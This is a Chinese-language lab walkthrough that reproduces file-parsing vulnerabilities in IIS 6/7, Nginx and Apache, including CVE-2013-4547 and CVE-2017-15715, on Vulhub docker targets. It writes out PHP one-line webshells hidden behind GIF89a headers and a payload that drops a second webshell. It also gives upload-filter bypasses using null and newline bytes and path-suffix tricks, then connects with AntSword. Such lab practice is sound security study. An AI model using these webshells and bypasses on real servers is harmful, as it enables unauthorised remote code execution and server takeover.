一:IIS
1.IIS6.X
步骤一:在iis的网站根目录新建⼀个名为x.asp的⽂件

步骤二:在x.asp中新建⼀个jpg⽂件。内容为<%=now()%> asp代码。

步骤三:在外部浏览器中访问windows2003的iis网站中的2.jpg 发现asp代码被执行

2.IIS7.X
步骤一:配置 php.ini ⽂件,将 cgi.fix_pathinfo=1前面;取消掉,并重启


步骤二:IIS --》 配置⽹站--》 处理程序映射--》 PHPStudy_FastCGI --》 请求限制 --》取消勾

步骤三:将PHP⼀句话木马写到1.php并更改后缀为1.jpg上传到⽬标站点...利⽤解析漏洞进行访问


步骤四:蚁剑连接

二:Nginx
1.nginx_parsing
步骤一:进入Vulhub靶场并执行以下命令启动靶场..
cd nginx/nginx_parsing_vulnerability
docker-compose up -d
docker ps

步骤二:访问靶机并上传 shell.jpg 文件,文件内容为GIF89a
<?php @eval($_POST['cmd']);?>

步骤三:访问http://172.16.1.109/uploadfiles/a7c3ce076585477741d951d179ab07dc.jpg/.php

步骤四:蚁剑连接

2.CVE-2013-4547
步骤⼀:使⽤以下命令启动靶机并通过浏览器访问靶场⻚⾯.
cd vulhub-master/nginx/CVE-2013-4547x
docker-compose up -d
docker ps

步骤二:访问靶机并上传 shell.php 文件,抓包,修改⽂件后缀为.jpg,在.jpg后⾯添加两个空格并给上 .php 后缀

步骤三:在hex中将jpg后面第二个空格20改为00,放行


步骤四:访问上传后的文件,抓包
172.16.1.115:8080/uploadfiles/shell.jpg .php

步骤五:在hex中将jpg后面第二个空格20改为00,放行


三.Apache
1.apache_parsing
步骤一:进入Vulhub靶场并执行以下命令启动靶场..
cd /vulhub/httpd/apache_parsing_vulnerability
docker-compose up -d
docker ps

步骤二:访问靶机并上传 shell.php.jpg 文件,文件内容为GIF89a
<?php fputs(fopen("shw.php","w"),"<?php eval(\$_POST['cmd']);?>")?>

步骤三:访问shw.php,蚁剑连接


2.CVE-2017-15715
步骤一:进入Vulhub靶场并执行以下命令启动靶场..
cd /vulhub/httpd/CVE-2017-15715
docker-compose up -d
docker ps

步骤二:访问靶机并上传 shell.jpg 文件,文件内容为GIF89a
<?php @eval($_POST['cmd']);?>,filename为1.php

步骤三:抓包,1.php后面加空格,hex中空格20改为0a


步骤四:放行访问1.php%0A

步骤五:蚁剑连接
